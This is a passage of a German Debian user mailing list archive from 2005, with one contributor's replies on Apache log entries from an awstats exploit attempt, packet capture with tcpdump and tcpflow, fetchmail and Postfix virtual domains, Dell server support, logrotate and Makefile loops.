hatte - böse Sachen zu treiben. Ich kenn den Exploit nicht im Detail,
aber es werden Kommandos eingeschleust, die einen Trojaner nachziehen
und starten.

Da Du kein awstats installiert hast, kannst Du das beruhigt ignorieren.

 82.83.223.39 - - [15/Nov/2005:09:23:05 +0100] OPTIONS / HTTP/1.1 200 
 1304 - Microsoft-WebDAV-MiniRedir/5.1.2600
 
 82.251.49.61 - - [15/Nov/2005:12:19:01 +0100] GET / HTTP/1.0 200 1292 
 - -
 
 82.253.228.245 - - [15/Nov/2005:12:31:17 +0100] OPTIONS / HTTP/1.1 200 
 1304 - Microsoft-WebDAV-MiniRedir/5.1.2600

Keine Ahnung, da greift eine Anwendung zu, die sich als
Microsoft-WebDAV-MiniRedir/5.1.2600 ausgibt und die verfügbaren
Optionen (Operationen) Deines Webserver abquizt. 

 Auf meinem Server laufen zwei Anwendungen, die auch nur für einen sehr 
 begrenzten Personenkreis zugänglich sind. Versucht im ersten Beispiel 
 evtl. jemand Rechte zu verändern?

Ja, aber keine Rechte von existierenden Dateien sondern die vom
nachzuziehenden Trojaner (der bei Dir erst garnicht den Weg auf die
Festplatte findet, da Du ja kein awstat installiert hast, über das sich
ungewollterweise die Befehle einschleusen lassen können).

- sebastian



Re: Favoriten/Lesezeichen zentral auf (eigenem) Server im Inet ablegen?

2005-11-19 Diskussionsfäden Sebastian Kayser
* Matthias Haegele [EMAIL PROTECTED] wrote:
 Hätte gern meine Browser-Favoriten-Lesezeichen-Bookmarks 
 (Mozilla-Firefox) zentral zum möglichst (automatischen) Abgleich/Import 
 unter Win/*nix auf einem (Debian) Server:
 
 Gibt es irgendwelche Programme etc. mit denen ich das erreichen könnte
 Bzw. hat jemand einen Link/Howto hierzu?.

Schau Dir mal sitebar (http://sitebar.org) an.

- sebastian



Re: Hallo Liste

2005-11-18 Diskussionsfäden Sebastian Kayser
* Roland M. Kruggel [EMAIL PROTECTED] wrote:
 Ich habe hier ein Programm das mit einer etwas exotischen Datenbank 
 über TCP-Port 3330 kommuniziert. Ich muss herrausfinden welche 
 Daten dort ausgetauscht werden.
 Ich habe es mit etheral und tcpdump probiert. Allerdings mit wenig 
 Erfolg. Ich komme mit den Parametern nicht wirklich zu recht. 
 Kann mir jemand mal bitte vernünfitige parameter sagen die mit den 
 datenfluss ausgeben?

Mit tcpdump mitlesen

tcpdump -s 1500 -w dumpfile host deine ip and port 3330

und dann per ethereal dumpfile laden. Geht auch nur mit ethereal, wenn
Du dort den capture filter auf host deine ip and port 3330 setzt. 

Alternativ verwende ich für ASCII-Datenstreams tcpflow. 

apt-get install tcpflow
tcpflow -c host deine ip and port 3330 | less

Deine Datenbankkommunikation wird aber wohl kaum per ASCII erfolgen.

- sebastian



Re: Hallo Liste

2005-11-18 Diskussionsfäden Sebastian Kayser
* BoomX [EMAIL PROTECTED] wrote:

^^ Realname erwünscht. PM unerwünscht, ich lese die Liste.

 Am Freitag, den 18.11.2005, 12:24 +0100 schrieb Sebastian Kayser:
  Mit tcpdump mitlesen
  
  tcpdump -s 1500 -w dumpfile host deine ip and port 3330
  
  und dann per ethereal dumpfile laden. Geht auch nur mit ethereal, wenn
  Du dort den capture filter auf host deine ip and port 3330 setzt. 
  
  Alternativ verwende ich für ASCII-Datenstreams tcpflow. 
  
  apt-get install tcpflow
  tcpflow -c host deine ip and port 3330 | less
  
  Deine Datenbankkommunikation wird aber wohl kaum per ASCII erfolgen.

 gibt es auch einen möglichkeit sowas in echtzeit in der console
 anzuzeigen?
 

Was genau willst Du denn in Echtzeit sehen?!

tcpflow gibt Dir das mittels -c bereits die Payload auf der Konsole aus
(macht natürlich nur für ASCII-Payload Sinn). Habe gerade gesehen, dass
das mit tcpdump und der Option -A ebenso funktioniert.

- sebastian



Re: Dateinamen von Groß - in Kleinschreibung umwandeln

2005-11-17 Diskussionsfäden Sebastian Kayser
* [EMAIL PROTECTED] [EMAIL PROTECTED] wrote:
 ich habe von einer CD einige Dateien, die groß geschrieben sind.
 IMG_0001.JPG, usw.
 
 Wie konvertiere ich die bei mir in Kleinschreibung (img_0001.jpg, usw.)?
 
 Das geht doch sicherlich irgendwie automatisch, oder?
 
 Ich habe Debian Etch.

Installiere Dir mmv und führe im Verzeichnis der umzuwandelnden Dateien

mmv * #l1

aus. Wandelt alle Dateinamen in lower-case um.

- sebastian



Re: Antivirus für Server /Desktop (F-Pro t vs. H+B Antivir vs. McAfee vs. Bitdefender vs. ??)

2005-11-17 Diskussionsfäden Sebastian Kayser
* Christian Schmidt [EMAIL PROTECTED] wrote:
 Matthias Tinnemeier, 15.11.2005 (d.m.y):
  Ich betreue einen Mittelständler dessen Virenschutz derzeit eher  
  unausreichend ist. Es geht konkret um ca. 30 Windowsclients (von 98  
  bis XP Pro alles vertreten) und etwa 10 Linuxserver (SuSE und Debian  
  Sarge).
  
  Konkret geschützt werden sollen Sambaserver, ein Gateway über Squid  
  und ein Postfix-MTA und die Windows-Clients. Es wäre schön, wenn die  
  Clients sich intern zentral von einem der Server automatisch updaten  
  könnten und Updates für 3 Jahre inbegriffen wären.
 
 An der Uni haben wir eine Campus-Lizenz von Sophos und sind damit auch
 recht zufrieden. Es gibt Pakete fuer zig Plattformen, die Updates fuer
 Win-Rechner verteilen wir mittels des Sophos Enterprise Managers,
 Unix-Maschinen beziehen die aktualisierten Signaturen mittels wget,
 die Engine-Updates (1x pro Monat) muss man aber manuell einspielen.

Für Sophos auf Unix- und Linux-Plattformen gibt es in Kombination mit dem
Enterprise Manager auch die elegantere Art per eminstall.sh. Siehe:

http://www.sophos.com/support/knowledgebase/article/2193.html

Updatet alles. Das Handling ist zwar immer noch nicht in den EM
integriert, aber zumindest fällt das manuelle Einspielen der neuen
Engine-Versionen weg.

- sebastian



Re: Logrotation mit selbsd efinierten Dateinendungen möglich?

2005-11-17 Diskussionsfäden Sebastian Kayser
* Mathias Tauber [EMAIL PROTECTED] wrote:
 ich habe mich beim Ausarbeiten eines Backup-Konzepts gefragt, ob es denn
 nicht möglich ist die Logrotation mit anderen Endungen laufen zu lassen.
 
 Also normal ist ja z.B:
 
   mail.log
   mail.log.1
   mail.log.2.bz2
   mail.log.3.bz2
   mail.log.4.bz2
   ...
 
 Wenn man jetzt ein Delta Backup macht, werden nach der Rotation natürlich
 wieder alle Logs gezogen, da ja alle einen neuen Dateinamen haben. Daher
 meine Idee, he ich nehm nen Timestamp oder noch besser mein eigenes
 Format. Ich habe bisher aber noch nichts dazu gefunden, ist euch da was
 bekannt? Also es soll dann so aussehen:
 
   mail.log
   mail.log.2005_11_01
   mail.log.2005_11_02.bz2
   mail.log.2005_11_03.bz2
   mail.log.2005_11_04.bz2
   ...
 
 So wäre es natürlich perfekt ;O)

Für logrotate gibt es das als Patch, der die Option dateext hinzufügt.
Ich glaube, das Format ist damit datei.MMDD, aber schau besser mal
selber.  In logrotate aus etch sollte der Patch mit drin sein, siehe
auch

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=178526

- sebastian



Re: Problem mit virtuellen Domains

2005-11-17 Diskussionsfäden Sebastian Kayser
* Sebastian Dellit [EMAIL PROTECTED] wrote:
 Ich versuch mal. die Schweinerei zu erklären ;-)
 
 - Ich habe bei verschiedenen Anbietern für verschiedene Tätigkeiten
 Mailboxen. Z. B. meine eigene (gehört mir ;-)) [EMAIL PROTECTED], die für
 alles rund um BLINDzeln [EMAIL PROTECTED], etc.

Du hast also beliebige POP-Accounts für diverse Domains im Internet liegen.
Oder stehen obige beide Domains in einem speziellen Verhältnis?

 - diese Mailboxen liegen auf einem Server. In dem Fall alle auf dem
 selben.
 
 - nun will ich zu Hause - auf meinem Linux Rechner - einen Mailserver
 mit den folgenden Komponenten einrichten:
 
 * Postfix als MTA
 * Fetchmail zum abholen der Mails vom o. g. Server
 * Courier POP/IMAP für den Zugriff auf meine Postfächer auf dem
 eigenen Linux Rechner
 * später noch Spamassassin und CLAMAV.
 
 - Fetchmail soll alle Mails abholen und in meine virtuell angelegten
 Postfächer einsortieren.

Also bei mir habe ich zwar keine virtuellen Postfächer, sondern lokale
Benutzer, vom Prinzip her sollte sich das aber auch auf Deinen Anwendungsfall
ummünzen lassen. 

Ich rufe fetchmail manuell auf und hole verschiedenste Postfächer ab, deren
Mails dann alle per .fetchmailrc meinem lokalen Benutzeraccount zugeordnet
werden.

-- .fetchmailrc --

server pop3-gateway.de proto pop3
user [EMAIL PROTECTED] pass xxx is ska
user [EMAIL PROTECTED] pass xxx is ska
...

server pop.gmx.net proto pop3
user [EMAIL PROTECTED] pass xxx is ska
...

-- /.fetchmailrc --

D.h. ähnlich wie bei Dir gibt es POP-Account diverser Domains, die von
fetchmail lokal nicht mit der ursprünglichen Empfänger-Adresse eingeliefert
werden, sondern einem bestimmten Benutzer zugeordnet werden. Meinem MTA
muss ich dafür _nicht_ beibringen, sich für @skayser.de oder @gmx.de
verantwortlich zu fühlen (wäre ja auch Quark), denn fetchmail setzt ja um.

 - Ich hole dann die Mails via POP/IMAP mit meinem XP Client von meinem Linux 
 Rechner ab,
 bearbeite diese und beantworte ggf. Mails.
 
 - da z. B. unter der Domain BLINDzeln viele Postfächer von vielen dort
 aktiven Helfern gehostet werden, muss ich von Zeit zu Zeit auch an
 andere [EMAIL PROTECTED] Adressen schreiben, was aber in der derzeitigen
 Konstellation nicht klappt. :-(

Siehe oben. Du musst Deinem lokalen MTA keine virtual domains für all die
Adressen beibringen, die Du abholen möchtest. 

Wenn Du aus welchen Gründen auch immer an dem Konstrukt mit virtuellen Domains
prinzipiell erstmal nichts ändern willst, dann verpass' Deinem MTA eine
beliebige virtual domain, die aber nichts mit den Domains von draussen zu tun
hat (z.B. virtual.dein.host.name) und schaffe per fetchmail eine Zuordnung
zwischen den Adressen die abgeholt werden und den Accounts der virtual domains.
Die aktuell angelegten virtual domains kannst/musst Du wegschmeissen.

Wenn die virtual domains nur Notbefehl für das nicht funktionierende Konstrukt
waren, dann verzichte ganz auf die virtual domains und arbeite mit Deinem/n
normalen lokalen Benutzeraccounts.

- sebastian



Re: Server Hardware

2005-11-17 Diskussionsfäden Sebastian Kayser
* Saskia Whigham [EMAIL PROTECTED] wrote:
 ich bin gerade dabei mir einen Server zusammen zustellen. Mein Problem 
 ist die Hardware. Die Hardware sollte so beschaffen sein das sie zu 100 
 % Debian Sarge 3.1 (Kernel 2.6.8) kompatibel ist. Es soll für einen 
 Datenbank-Server sein. Es klingt vielleicht etwas Arrogant aber das Geld 
 sollte erst einmal nicht so im Vordergrund stehen. Am besten wäre es 
 wenn ihr mir einen Server von Dell, IBM, HP und und und nennen könntet 
 der 100 % Debian Sarge 3.1 (Kernel 2.6.8) kompatibel ist. Ich wollte 
 schon gerne ein komplett System von einem großen oder Namenhaften 
 Hersteller einsetzen also nicht selber zusammen bauen.

Zum Thema Dell und Debian. Wir haben hier einige Dell-Server mit Debian
am Laufen (PowerEdge 650, 2600, 2650, ..) und lauffähig ist Debian
darauf, macht auch keine Probleme. Das sollte auch bei neueren Modellen
der Fall sein. 

Im schön definierten 24x7x5 o.ä. Supportfalle - den deswegen kauft man
ja u.a. Hardware von namenhaften Herstellern - wirst Du jedoch schnell
merken, dass Debian von Dell nicht supportet ist. D.h. die für RedHat
bzw. SuSE verfügbaren Diagnose-Tools sind nicht oder nur unter starker
Überredungskunst überhaupt auf Debian lauffähig. Siehe dazu

http://lists.us.dell.com/mailman/listinfo/linux-poweredge/

und die diversen Themen rund um OMSA. Oder aber

http://www.uta.fi/~pauli.borodulin/dellomsa/omsa44.html

wo deutlich werden sollte, dass es zwar Möglichkeiten gibt, die aber
nicht wirklich intuitiv sind.

Der Stress dem Telefon-Supportler zu verklickern, was denn jetzt genau
kaputt ist und weshalb er Dir einen Hardwareaustausch schicken soll,
ohne die genaue Aussage seines Diagnose-Tools zu haben, ist also
vorprogrammiert.

Das kannste Dir m.E. sparen und wenn schon auf namenhafte Hersteller,
dann auf diejenigen setzen, die Debian unterstützen. Kleine Frage am
Rande: Gibt es die überhaupt und wie sind Eure Erfahrungen damit?!

- sebastian



Re: Problem mit virtuellen Domains

2005-11-17 Diskussionsfäden Sebastian Kayser
* Sebastian Dellit [EMAIL PROTECTED] wrote:
 am Donnerstag, 17. November 2005 um 18:00 meinte Sebastian Kayser u. a.:
  * Sebastian Dellit [EMAIL PROTECTED] wrote:
  [...]
  Ich rufe fetchmail manuell auf und hole verschiedenste Postfächer
  ab, deren Mails dann alle per .fetchmailrc meinem lokalen
  Benutzeraccount zugeordnet werden.
  [...]
 
 Fetchmail macht bei mir quasi das gleiche, nur das ich a) in virtuelle
 Accounts lege und b) die Benutzer sich nicht ändern, d. h.
 user [EMAIL PROTECTED]
 to [EMAIL PROTECTED]

Okay, vergiss die identische lokale to-Domain und ersetze die durch eine
andere virtuelle Domain (siehe meine letzte Mail und weiter unten).
 
  D.h. ähnlich wie bei Dir gibt es POP-Account diverser Domains, die von
  fetchmail lokal nicht mit der ursprünglichen Empfänger-Adresse eingeliefert
  werden, sondern einem bestimmten Benutzer zugeordnet werden.
 
 Ich habe sowohl lokal als auch auf dem richtigen Server die gleichen
 Benutzer, was aber keine Rolle spielen dürfte. Wenn ich deine
 fetchmailrc richtig verstehe, dann werden bei dir alle Mails von den
 verschiedenen Accounts zu ein und dem selben lokalen Benutzer geschickt?

Japp.

  Meinem MTA
  muss ich dafür _nicht_ beibringen, sich für @skayser.de oder @gmx.de
  verantwortlich zu fühlen (wäre ja auch Quark), denn fetchmail setzt ja um.
 
 OK, aber du redest ja gerade IMHO vom abholen der Mails, ich aber vom
 versenden ... *kopfgrübel* ;-)

Ja, denn Dein Versendeproblem ist gekoppelt an Dein falsches Konstrukt
beim Empfang. Du hast Deinem MTA beigebracht für die Domains aritamba.de
usw. verantwortlich zu sein und dies vollzieht er dann auch in letzter
Konsequenz. D.h. er nimmt zwar brav die abgeholten Mails an, aber beim
Verschicken stellt er fest, dass er ja das letztendliche Ziel für Mails
an Deine Problem-Domains ist und fällt dann auf die Nase, weils den
adressiert Benutzer bei Dir nicht gibt.

Baue Dein Empfangskonstrukt um (z.B. mit der behelfsmäßigen virtual
domain) und Du löst Deine Versendeprobleme.

 Ich wollte von vorne herein keine lokalen echten Benutzer anlegen, mir
 missfällt diese Variante. Also z. B. einen Lokalen Benutzer pro
 Postfach o. ä. Ich brauche aber auch nach außen hin die verschiedenen
 Konten, daher ...

Siehe unten.

  Wenn die virtual domains nur Notbefehl für das nicht funktionierende
  Konstrukt waren, dann verzichte ganz auf die virtual domains und
  arbeite mit Deinem/n normalen lokalen Benutzeraccounts.
 
 Da ich nur einen Benutzeraccount habe, ist das nicht so einfach. ;-)
 Ich wollte auch keine weiteren Benutzer anlegen, es gefällt mir
 irgendwie nicht so richtig irgendwelche Benutzer zu haben, die blöde
 in der Ecke rum stehen und nichts weiter machen, außer Mails hin und
 her zu schaufeln. Daher die virtuelle Sache.

Ich habe auch nur einen lokalen Benutzer über den ich mit verschiedenen
Identitäten verschicke.

 Nach deinem Vorschlag muss ich wohl, so vermute ich, sowohl eingehend
 als auch ausgehend die Mailadressen umbauen. Denn nach außen hin hat
 jede Adresse bei mir andere Einsatzgebiete. ;-)

Nein. Eingehend umbauen ja, denn Dein MTA darf nicht verantwortlich für
die extern liegenden Domains sein, von denen Du Mail abholst.
Andernfalls bekommst Du Deine bekannten Versendeprobleme.

Ausgehend legt die Adresse in aller Regel der Client fest. Ich gebe
meinem mutt mit, welche Absendeidentität ich haben möchte und gut ist.
Dafür benutze ich genau _einen_ Benutzer.

Mein lokaler MTA nimmt die Mail an (da lokales relayen erlaubt),
verschickt das weiter an den Smarthost von meinem Provider (der mir
relayen erlaubt, da per SASL authentifiziert) und dann geht die Mail an
ihren Adressaten. Das Festlegen der Absendeadresse findet dabei nur im
MUA statt. 

Dein The Bat! ist doch so konfiguriert, dass er Mail per SMTP an Deinen
MTA zur Weiterverarbeitung schickt. Die Mail geht dort also erstmal
nicht benutzergebunden ein, sondern The Bat! regelt die Absendeadresse
im SMTP-Dialog, d.h. der Absender sollte sich auch ohne multiple
Accounts einfach beim Verschicken wählen lassen. Keine Ahnung wie The
Bat! das genau handhabt, aber jeder halbwegs vernünftige MUA kann das.

 Zu sagen ist vielleicht noch, das ich auf meinem Windoof Client The
 Bat einsetze. D. h. für jedes Konto habe ich eine eigene
 Dateistruktur. Daher ordne und filtere ich in TB auch nach den Konten.
 
 
 Alles bissel verzwickt. ;-)

Eigentlich nicht, aber schriftlich irgendwie doch ;)

- sebastian



Re: Wie dokumentiert ihr ? Suche eleganten Weg für Dokumentation

2005-11-17 Diskussionsfäden Sebastian Kayser
* Georg Lohrer [EMAIL PROTECTED] wrote:
 Ideal wäre ein stand-alone Wiki in Python auf flat-text Basis. Dann käme ich 
 ohne einen Webserver aus, brauche keine Datenbank und kann's laufen lassen, 
 wo ich will. Auch PyWikiServer werde ich mir noch anschauen.

Schau Dir mal MoinMoin an.

http://moinmoin.wikiwikiweb.de/

Ist in Python geschrieben und bietet den von Dir gesuchten
standalone-Modus.

- sebastian



Re: Server Hardware

2005-11-17 Diskussionsfäden Sebastian Kayser
* Andreas Vögele [EMAIL PROTECTED] wrote:
 Sebastian Kayser schreibt:
 
  Im schön definierten 24x7x5 o.ä. Supportfalle - den deswegen kauft
  man ja u.a. Hardware von namenhaften Herstellern - wirst Du jedoch
  schnell merken, dass Debian von Dell nicht supportet ist. D.h. die
  für RedHat bzw. SuSE verfügbaren Diagnose-Tools [...]
 
 Kann ich bestätigen.  Meiner Erfahrung nach, redet sich der
 Dell-Support auch dann mit dem Hinweis auf RedHat raus, wenn klar ist,
 dass das Problem überhaupt nichts mit der Distribution zu tun hat.
 
 Unterstützt Dell inzwischen SuSE?  Noch vor ein paar Monaten haben die
 nur RedHat unterstützt; da bin ich mir ziemlich sicher.

Ja mit der neuen EM64T-Reihe (PE2850  Co), bekommst Du SLES9 zwar nicht
vorinstalliert, aber immerhin als supportetes OS mitgeliefert. Selbst
OMSA lies sich darauf klaglos in Betrieb nehmen.

  Der Stress dem Telefon-Supportler zu verklickern, was denn jetzt
  genau kaputt ist und weshalb er Dir einen Hardwareaustausch schicken
  soll, ohne die genaue Aussage seines Diagnose-Tools zu haben, ist
  also vorprogrammiert.
 
 Hm, wenn man die von Dell eingerichtete DOS-Partition nicht löscht,
 sollte man die DOS-Version der Diagnose-Tools starten können.

Haben wir auch bisher immer beibehalten, aber das setzt natürlich immer
voraus, dass Du den Server rebootest (und dann kommste ja auch mit
anderen Boot-CDs/-Disketten von Dell weiter). Okay, wenn die Kiste Ärger
macht, tut das nicht weh, aber dann will der Supportler noch die Ausgabe
von Tool xy und und und ...

Lange Rede, kurzer Sinn: Es führen viele Wege nach Rom, es gibt jedoch
sicherlich weniger (kiesel)steinige als Debian auf Dell-Maschinen. Ich
will hier nicht schwarzmalen, wir fahren die Dinger ja schließlich auch
und es geht. Aber wenn man vor der Wahl steht, kann man sich die
Alternativen ja mal genauer betrachten und wissen, worauf man sich
einlässt. 

- sebastian



Re: SSH

2005-11-16 Diskussionsfäden Sebastian Kayser
* Markus Braun [EMAIL PROTECTED] wrote:
 Falls es eine dumme Firewall ist, kannst du ja mal versuchen den SSH
 Server auf Port 80 (http) oder ftp-ports usw laufen zu lassen..
 
 Ich kann es versuchen, nur in meinem ie sind die proxy ports: 8080
 
 Nur der 8080 port ist bei mir schon belegt. :(

Der Artikel Firewalls durchbohren von Johannes Franken unter

http://www.jfranken.de/homepages/johannes/vortraege/ssh3.de.html

stellt die Möglichkeiten in Abhängigkeit von den Firewall-Gegebenheit
recht gut dar, schau Dir den mal an.

Vor Ewigkeiten habe ich mit dem dort erwähnten transconnect SSH und IRC
durch nen HTTPS-Proxy getunnelt.

- sebastian



Re: Firefox in fvwm2 nicht zu sehen

2005-11-15 Diskussionsfäden Sebastian Kayser
* Raphael Ernst [EMAIL PROTECTED] wrote:
 ich wollte von meinem bisherigem Enlightenment zurueck zum (guten alten)
 FVWM2 wechseln. Das Problem ist, dass wenn ich Firefox starte erscheint
 kein Fenster im FVWM. Mozilla-Thunderbird, o.Ä. Funktoniert ohne Probleme.
 
 Der Firefox ist in einem chroot installiert, aber andere Anwendungen
 (Mplayer, Openoffice) aus dem chroot verurschachen dieses Problem nicht.
 Hat da jemand eine Idee?

 [...]
 
  Menus 
 AddToMenu applications Tools Title
 + Firefox Exec firefox
 + Thunderbird Exec mozilla-thunderbird
 + Nop
 + xterm   Exec xterm
 + Nop
 + xmmsExec xmms
 #+Nop
 #+ Mount  PopUp Mount
 #+ UnMountPopUp UnMount
 #+Nop
 #+ Fetchmail  Exec wterm -e fetchmail

Hinterlege den Startbefehl doch mal mit absoluter Pfadangabe.

- sebastian



Re: Firefox in fvwm2 nicht zu sehen

2005-11-15 Diskussionsfäden Sebastian Kayser
* Raphael Ernst [EMAIL PROTECTED] wrote:
 Sebastian Kayser wrote:
  * Raphael Ernst [EMAIL PROTECTED] wrote:
  
 ich wollte von meinem bisherigem Enlightenment zurueck zum (guten alten)
 FVWM2 wechseln. Das Problem ist, dass wenn ich Firefox starte erscheint
 kein Fenster im FVWM. Mozilla-Thunderbird, o.Ä. Funktoniert ohne Probleme.
 
 Der Firefox ist in einem chroot installiert, aber andere Anwendungen
 (Mplayer, Openoffice) aus dem chroot verurschachen dieses Problem nicht.
 Hat da jemand eine Idee?
 
 [...]
 
  Menus 
 AddToMenu applications Tools Title
 + Firefox Exec firefox
 
 [...]
  
  Hinterlege den Startbefehl doch mal mit absoluter Pfadangabe.
 
 Das Problem ist nicht, dass der Firefox nicht startet. top und/oder ps
 listen den Prozess. Man sieht das Fenster nur nicht.

Poste Dein Problem doch mal im Fvwm-Forum unter http://fvwm.lair.be, da
bekommst Du sicherlich geholfen.

- sebastian



Re: Virtuelle Mailboxen und Postfix

2005-11-13 Diskussionsfäden Sebastian Kayser
* Sebastian Dellit [EMAIL PROTECTED] wrote:
 ich versuche gerade meinem Postfix virtuelle Mailboxen beizubringen.
 
 Dies habe ich (bis auf den teil mit sasl - den ich später machen will)
 nach dem HOWTO von
 http://postfixwiki.org/index.php?title=Virtual_Users_and_Domains_with_Courier-IMAP_and_MySQL
  probiert.
 
 Aber leider klappt das nicht so, wie ich es gerne hätte. Irgendwie
 klappt die Verbindung zum MYSQL Server nicht, wenn man nach den
 Logeinträgen urteilen darf:
 
 Nov 13 17:03:37 samba postfix/trivial-rewrite[12240]: warning: connect to 
 mysql server localhost: Can't connect to local
 MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)

Ist zwar schon eine Weile her, dass ich das gemacht habe, aber Deine
Kiste hat ein grundlegendes Problem mit der Verbindung zu MySQL über den
Socket /var/run/mysqld/mysqld.sock zu haben. 

Fallstrick ist hier oftmals, dass der Postfix in einer chroot-Umgebung
läuft, der Socket für MySQL sich aber nicht innerhalb der
chroot-Umgebung befindet. Wie sieht denn Deine master.cf aus? Wenn dort
die Definition für den smtpd mit einem 'y' bei chroot versehen ist, dann
musst Du MySQL dazu bringen auch unterhalb des queue_directory von
Postfix den Socket zu öffnen. Wie genau das funktioniert kannste dann
sicherlich google mit postfix chroot mysqld.sock fragen.

Die folgenden paar Zeilen entstammen einer Config ohne chroot.

# ==
# service type  private unpriv  chroot  wakeup  maxproc command + args
#   (yes)   (yes)   (yes)   (never) (50)
# ==
smtp  inet  n   -   -   -   -   smtpd

- sebastian



Re: Makefile

2005-11-11 Diskussionsfäden Sebastian Kayser
* Ole Janssen [EMAIL PROTECTED] wrote:
 Am Donnerstag, 10. November 2005 22:59 schrieb Sebastian Kayser:
  Wo wir gerade so schön dabei sind. Hat jemand von Euch 'ne Ahnung,
  wie ich ein Schleifenkonstrukt ählich obigem hinbekomme, bei dem im
  do-Teil auftretende Fehler ignoriert werden?
 
  $ ls
  bar  Makefile
 
  $ cat bar
  bar
 
  $ cat Makefile
  all:
  @-set -e; for i in foo bar; do cat $$i; done
 
  $ make
  cat: foo: Datei oder Verzeichnis nicht gefunden
  make: [all] Fehler 1 (ignoriert)
 
  Hier sagt er zwar schön er hat den Fehler ignoriert, aber hat die
  Ausführung der Schleife de facto nach dem ersten Durchlauf
  abgebrochen.
 
 Ja, weil Du mit set -e erzwingst, dass die Shell sich sofort bei einem 
 Fehler beendet (man bash - shell builtin commands - set).

 [...]
 
 Lass das set -e weg.

Bestens, danke schön. Irgendwie war mir vor lauter make-Syntax überhaupt
nicht mehr klar, dass es sich bei den Kommandos letztendlich um reine
Bash-Syntax handelt.  Kein Wunder, dass ich in den relevanten
make-Hilfen nichts zu meinem Problem gefunden habe ;)

- sebastian



Re: Makefile

2005-11-10 Diskussionsfäden Sebastian Kayser
* Roland M. Kruggel [EMAIL PROTECTED] wrote:
 ich bin gerade dabei einen Makfile zu erstelle. Klappt soweit auch, 
 bis auf eine kleinigkeit die ich nicht hin bekomme.
 
 Ich will aus dem 'Hauptmakefile' den nächsten Makefile in einem 
 Unterverzeichniss aufrufen. Kriegs nicht hin. Kann mir bitte mal 
 jemand einen Tip geben. 

Dokumentiert findest Du es hier:

http://www.gnu.org/software/make/manual/html_chapter/make_5.html#SEC58

- sebastian



Re: Makefile

2005-11-10 Diskussionsfäden Sebastian Kayser
* Markus Schulz [EMAIL PROTECTED] wrote:
 Am Donnerstag, 10. November 2005 16:47 schrieb Roland M. Kruggel:
  ich bin gerade dabei einen Makfile zu erstelle. Klappt soweit auch,
  bis auf eine kleinigkeit die ich nicht hin bekomme.
 
  Ich will aus dem 'Hauptmakefile' den nächsten Makefile in einem
  Unterverzeichniss aufrufen. Kriegs nicht hin. Kann mir bitte mal
  jemand einen Tip geben.
 
 noch eine Variante:
 
 SUBDIRS = dir1 dir2 dir3
 
 %:
 @echo -n Making... ;
 @echo $(SUBDIRS)
 @set -e; for i in $(SUBDIRS); do $(MAKE) -C $$i $@ ;done

Wo wir gerade so schön dabei sind. Hat jemand von Euch 'ne Ahnung, wie
ich ein Schleifenkonstrukt ählich obigem hinbekomme, bei dem im do-Teil
auftretende Fehler ignoriert werden?

$ ls
bar  Makefile

$ cat bar
bar

$ cat Makefile
all:
@-set -e; for i in foo bar; do cat $$i; done

$ make
cat: foo: Datei oder Verzeichnis nicht gefunden
make: [all] Fehler 1 (ignoriert)

Hier sagt er zwar schön er hat den Fehler ignoriert, aber hat die
Ausführung der Schleife de facto nach dem ersten Durchlauf abgebrochen.
Da das ganze auf der Shell funktioniert

$ for i in foo bar; do cat $i; done
cat: foo: Datei oder Verzeichnis nicht gefunden
bar

muss es wohl eine Intelligenz von make sein, die bei Beispiel 2
interveniert, den Fehler abfängt und die weitere Ausführung verhindert.
Wie kann man das unterdrücken?

- sebastian



Re: Konfiguration von postfix

2005-09-02 Diskussionsfäden Sebastian Kayser
* Norbert Harz [EMAIL PROTECTED] wrote:

 man möge mir die Frage verzeihen... ;-)
 
 Als SuSE - Umsteiger kenne ich ja YAST. Damit konnte man relativ
 problemlos eine Grundkonfiguration von postfix durchführen. Gibt es eine
 vergleichbare Lösung für debian, um bei postfix eine Grundkonfiguration
 durchzuführen??

Evtl. mit Webmin und dem entsprechenden Modul, das ist aber nur
gemutmaßt.

Ansonsten liste doch einfach mal die Einstellungen, die Du unter SuSE
mit yast machen würdest. Hier können Dir sicherlich ein paar Mitleser
die entsprechenden postfix-Konfigurationsparameter nennen, dann lernste
noch was bei. 

- sebastian



Tool fü r Terminal-Screenshots?

2005-09-01 Diskussionsfäden Sebastian Kayser
Hallo,

die Frage stelle ich sicherlich nicht als Erster, aber ich habe gerade
nicht die passenden google-Formulierung parat.

Wie bzw. mit welchem Tool kann man denn einen Text-Screenshot von
einem Terminal (d.h. Textkonsole, tty, ..) machen? script zur
Aufzeichnung einer Terminal-Sitzung kenne ich. Da muss ich aber bereits
vorher wissen, dass ich etwas aufzeichnen will.

Eben habe ich noch die Variante mit 

cat /dev/vcs1  terminalshot

für ein Abbild von tty1 gefunden. Kann ich das auch für Sitzungen auf
pts/X verwenden und wenn ja, wie ist denn die Zuordnung zwischen den
vcs-Geräten und den Pseudo-Terminals? 

Oder aber gibts da ein kleines praktisches Tool für, das sowohl
Terminals als auch Pseudo-Terminals screenshoten kann?

- sebastian



Re: Rescue-Disk selber erstellen

2005-08-31 Diskussionsfäden Sebastian Kayser
* Christian Schulte [EMAIL PROTECTED] wrote:
 Sebastian Laubscher schrieb:
 hatte das gleiche Problem mal mit mehreren Dell-Servern.
 
 Es gibt im Internet ein ISO von woody (irgendein Japaner hat's glaube
 ich gebaut), in dem ein haufen Module fuer Raids etc. schon drin
 sind.
 Wenn es irgendwo eine Woody- oder Sarge-Boot-CD mit einem Kernel, der
 die Raid-Treiber korrekt lädt und dann am besten auch noch die
 gängisten SCSI-Treiber fest eincompiliert hat, könnte ich das trotzdem
 ganz gut gebrauchen.

Ich glaube fast, Sebastian meinte das ISO von

http://wiki.osuosl.org/display/LNX/Debian+on+Dell+Servers

Zumindest habe ich damit bereits auch einige Dell-Server reanimieren
bzw. überhaupt erst animieren können. Keine Ahnung, ob das auch für
Deinen speziellen Fall alle Treiber enthält.

Das Teil ist zwar eigentlich ein woody-Installer, aber wenn erstmal
gebootet, kannst Du über die parallel offenen tty's aufs System
zugreifen.

- sebastian



Re: cyrus21/imapd auf logl evel info ändern

2005-08-31 Diskussionsfäden Sebastian Kayser
* André Bischof [EMAIL PROTECTED] wrote:
 da ich in den Logs (mail.log, syslog) immer Meldungen wie squat index
 not found) bekomme und ich aus Google erfahren habe, dass ich den
 loglevel von debug auf info ändern soll, wollte ich das jetzt mal
 machen - ich kriege aber nicht raus wie.

Inwiefern die squat .. - Meldungen tatsächlich irrelevant sind, kann
ich nicht beurteilen. Für den Rest s.u.

 Nach den Manpages scheint es in cyrus.conf oder imapd.conf dafür keine
